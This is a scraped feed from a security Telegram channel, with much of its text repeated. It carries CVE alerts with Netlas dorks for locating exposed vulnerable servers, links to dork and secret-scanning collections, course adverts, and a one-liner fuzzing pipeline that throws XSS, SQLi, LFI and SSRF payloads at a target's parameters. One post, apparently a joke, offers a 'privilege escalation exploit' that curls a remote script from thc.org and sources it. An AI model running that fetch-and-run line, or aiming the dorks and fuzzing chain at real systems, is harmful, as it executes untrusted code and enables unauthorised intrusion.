☺️Your support keeps me motivated to share more valuable content! If you found this helpful, drop a like & send stars ⭐ to help me keep going.
💬 For queries, message me on Telegram: @wtf_brut
🎓 For course enrollment, reach out on WhatsApp: wa.link/brutsecurity
💬 For queries, message me on Telegram: @wtf_brut
🎓 For course enrollment, reach out on WhatsApp: wa.link/brutsecurity
WhatsApp.com
Brut Security
Business Account
3❤13👍8🐳3🔥2
CVE-2025-1974: Improper Isolation or Compartmentalization in Kubernetes Ingress Controller, 9.8 rating 🔥
In some cases, an unauthenticated attacker may be able to execute remote code in the context of the ingress-nginx controller.
Search at Netlas.io:
👉 Link: https://nt.ls/G6SC7
👉 Dork: certificate.issuer_dn:"Kubernetes Ingress Controller"
Vendor's advisory: https://github.com/kubernetes/kubernetes/issues/131009
In some cases, an unauthenticated attacker may be able to execute remote code in the context of the ingress-nginx controller.
Search at Netlas.io:
👉 Link: https://nt.ls/G6SC7
👉 Dork: certificate.issuer_dn:"Kubernetes Ingress Controller"
Vendor's advisory: https://github.com/kubernetes/kubernetes/issues/131009
👍10🤝2❤1
🔐 Ultimate Secret Scanner Regex Collection 🔍
30+ regex patterns to detect leaked credentials:
✅ API keys (Google, AWS, Stripe)
✅ Auth tokens (OAuth, JWT)
✅ Private keys (RSA, PGP)
✅ Emails, URLs, UUIDs
https://github.com/Lu3ky13/Search-for-all-leaked-keys-secrets-using-one-regex-/tree/main
#bugbounty #bugbountytip
30+ regex patterns to detect leaked credentials:
✅ API keys (Google, AWS, Stripe)
✅ Auth tokens (OAuth, JWT)
✅ Private keys (RSA, PGP)
✅ Emails, URLs, UUIDs
https://github.com/Lu3ky13/Search-for-all-leaked-keys-secrets-using-one-regex-/tree/main
#bugbounty #bugbountytip
👍14🗿12❤2
Please open Telegram to view this post
VIEW IN TELEGRAM
Brilliant Directories
Security Bounty
Learn about Security Bounty - CLICK TO VIEW MORE »
👍14❤5🤣1
This media is not supported in your browser
VIEW IN TELEGRAM
Google Dorks that can be used for penetration testing, security research, and information gathering.
https://github.com/yogsec/Pen-Testing-Google-Dorks
❤11🔥5👍3
🔥 Web Pentesting & Bug Bounty Batch – Starting April!
Master Web Penetration Testing with a Bug Bounty Approach in our new batch starting this April! Learn real-world attack scenarios, exploitation techniques, and defense strategies.
✅ Weekday & Weekend Batches – Evening Slots (IST)
✅ Hands-on Labs & Live Automations
✅ Bug Bounty Methodologies & Practical Hunting
✅ Community Support & Private POC Access
📩 Limited slots! Enroll now and take your hacking skills to the next level.
📱 DM https://wa.link/brutsecurity for details! (https://wa.me/+918945971332)
Master Web Penetration Testing with a Bug Bounty Approach in our new batch starting this April! Learn real-world attack scenarios, exploitation techniques, and defense strategies.
✅ Weekday & Weekend Batches – Evening Slots (IST)
✅ Hands-on Labs & Live Automations
✅ Bug Bounty Methodologies & Practical Hunting
✅ Community Support & Private POC Access
📩 Limited slots! Enroll now and take your hacking skills to the next level.
📱 DM https://wa.link/brutsecurity for details! (https://wa.me/+918945971332)
❤9👍3🔥3
On this special occasion, we extend our warmest wishes to all who celebrate Eid. May this day bring you joy, peace, and prosperity.
At Brut Security, we value diversity and unity, and we appreciate each and every member of our community. Whether you’re celebrating or simply sharing in the happiness of others, we hope today is filled with kindness and togetherness.
Stay curious, stay secure, and keep learning!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤57👍5🐳2🤣2
CVE-2025-2294: Path Traversal in Kubio WordPress plugin, 9.8 rating 🔥
A vulnerability found in a popular plugin allows unauthenticated attackers to execute any code in PHP files on the server.
Search at Netlas.io:
👉 Link: https://nt.ls/iOqr6
👉 Dork: http.body:"plugins/kubio"
Read more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kubio/kubio-ai-page-builder-251-unauthenticated-local-file-inclusion
A vulnerability found in a popular plugin allows unauthenticated attackers to execute any code in PHP files on the server.
Search at Netlas.io:
👉 Link: https://nt.ls/iOqr6
👉 Dork: http.body:"plugins/kubio"
Read more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kubio/kubio-ai-page-builder-251-unauthenticated-local-file-inclusion
👍6🔥3
💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):
“. <(curl -SsfL https://thc.org/7350pipe)”
🤣29🗿14😁2❤1
🔥 Discover Web Vulns Like a Pro! 🔥
Want to hunt XSS, SQLi, LFI, and SSRF on any site? Here’s a killer one-liner I’ve been using:
What’s it do?
1️⃣ Grabs URLs: gau digs up every URL for target.com from the web’s archives.
2️⃣ Finds Weak Spots: gf filters for params ripe for hacking (XSS, SQLi, etc.).
3️⃣ Sets the Trap: qsreplace swaps values with FUZZ for testing.
4️⃣ Fuzzes Hard: ffuf blasts payloads from my custom lists—XSS popups, file leaks, you name it!
5️⃣ Saves the Loot: Results land in param_vulns.txt for you to exploit.
💡 Pro Tip: Add -t 50 to ffuf for speed, or -fc 404 to skip dead ends. Test responsibly!
Curious about hacking tricks like this? Join my crew at https://discord.gg/u7uMFV833h for more tools, tips, and chaos. Dr
Want to hunt XSS, SQLi, LFI, and SSRF on any site? Here’s a killer one-liner I’ve been using:
gau target.com | gf xss,lfi,sqli,ssrf | qsreplace FUZZ | ffuf -u FUZZ -w payloads/xss.txt,payloads/lfi.txt,payloads/sqli.txt,payloads/ssrf.txt -fr "FUZZ" | tee param_vulns.txt
What’s it do?
1️⃣ Grabs URLs: gau digs up every URL for target.com from the web’s archives.
2️⃣ Finds Weak Spots: gf filters for params ripe for hacking (XSS, SQLi, etc.).
3️⃣ Sets the Trap: qsreplace swaps values with FUZZ for testing.
4️⃣ Fuzzes Hard: ffuf blasts payloads from my custom lists—XSS popups, file leaks, you name it!
5️⃣ Saves the Loot: Results land in param_vulns.txt for you to exploit.
💡 Pro Tip: Add -t 50 to ffuf for speed, or -fc 404 to skip dead ends. Test responsibly!
Curious about hacking tricks like this? Join my crew at https://discord.gg/u7uMFV833h for more tools, tips, and chaos. Dr
👍19❤8🗿8
CVE-2025-3083, -3084, -3085: Vulnerabilities in MongoDB, 6.5 - 8.1 rating❗️
Vulnerabilities in some versions of MongoDB allow attackers to perform DoS and gain unauthorized access using revoked certificates.
Search at Netlas.io:
👉 Link: https://nt.ls/aqCrV
👉 Dork: mongodb.build_info.version:[6.0.0 TO 6.0.20] OR mongodb.build_info.version:[5.0.0 TO 5.0.31] OR mongodb.build_info.version:[7.0.0 TO 7.0.16]
Vendor's advisory: https://jira.mongodb.org/browse/SERVER-95445
Vulnerabilities in some versions of MongoDB allow attackers to perform DoS and gain unauthorized access using revoked certificates.
Search at Netlas.io:
👉 Link: https://nt.ls/aqCrV
👉 Dork: mongodb.build_info.version:[6.0.0 TO 6.0.20] OR mongodb.build_info.version:[5.0.0 TO 5.0.31] OR mongodb.build_info.version:[7.0.0 TO 7.0.16]
Vendor's advisory: https://jira.mongodb.org/browse/SERVER-95445
👍3
Freelance Security Analyst for CTF Challenge
Job Type: Freelance | Remote | Short-term
We need an experienced cybersecurity professional to assist with a CTF challenge. Must be skilled in:
✔ Web Exploitation, Reverse Engineering, Cryptography, Forensics, OSINT
✔ CTF platforms (Hack The Box, TryHackMe, PicoCTF, etc.)
✔ Tools like Burp Suite, Wireshark, Ghidra, IDA Pro, Metasploit
✔ Ethical hacking & exploit development (OSCP, CEH preferred)
📩 Send your resume to [email protected] or WhatsApp +91-8016167754.
Let’s solve this challenge together!
Job Type: Freelance | Remote | Short-term
We need an experienced cybersecurity professional to assist with a CTF challenge. Must be skilled in:
✔ Web Exploitation, Reverse Engineering, Cryptography, Forensics, OSINT
✔ CTF platforms (Hack The Box, TryHackMe, PicoCTF, etc.)
✔ Tools like Burp Suite, Wireshark, Ghidra, IDA Pro, Metasploit
✔ Ethical hacking & exploit development (OSCP, CEH preferred)
📩 Send your resume to [email protected] or WhatsApp +91-8016167754.
Let’s solve this challenge together!
👍15❤6
Brut Security pinned «Freelance Security Analyst for CTF Challenge Job Type: Freelance | Remote | Short-term We need an experienced cybersecurity professional to assist with a CTF challenge. Must be skilled in: ✔ Web Exploitation, Reverse Engineering, Cryptography, Forensics…»
Use TLSx to detect certificate misconfigurations 🔍
Use this command to check for expired, self-signed, mismatched, revoked AND untrusted certificates👇
Use this command to check for expired, self-signed, mismatched, revoked AND untrusted certificates
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥46👍2